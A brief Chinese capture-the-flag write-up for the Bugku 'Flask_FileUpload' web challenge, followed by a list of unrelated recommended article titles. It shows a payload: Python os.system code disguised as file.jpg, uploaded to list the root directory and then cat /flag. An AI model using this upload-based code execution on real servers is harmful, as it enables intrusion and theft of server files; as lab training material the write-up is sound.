Bugku-web-Flask_FileUpload
查看源代码，提示用python返回结果
在file.jpg中写python代码
import os
os.system('ls / ')上传后查看源代码，找到flag文件夹
修改代码
import os
os.system('cat /flag ')
Bugku-web-Flask_FileUpload
黑白时光les2024-08-01 11:52
相关推荐
武天旭1 小时前
AI安全--AI大模型的毒性偏见与安全对齐实践孟健1 小时前
Claude Code 同需求写两版对比：装不装 frontend-design 差多远？视觉小萌新2 小时前
AI Class 3 · Chapter 2-3：函数、异常、文件读写+JSON / JSONL 读写（小白版）小小张说故事3 小时前
Python 的 obj.x 到底按什么顺序找？拆开数据描述符、实例字典和 __getattr__ 那条优先级链梦de天空一米16883 小时前
【一个重复id让游戏卡在62%，聊聊配置表检查】ryn483983 小时前
01 一个功能模块，怎么分层才不乱Amos_Web3 小时前
通过 Rspack 源码学 Rust（五）：读懂 Result 与问号运算符的错误返回杨航 AI3 小时前
JEV的用法Amos_Web3 小时前
Rspack 源码解析（三十五）：rspack_error 如何用 miette 渲染带源码定位的错误链去伪存真3 小时前
高敏资产场景下的大模型协同设计架构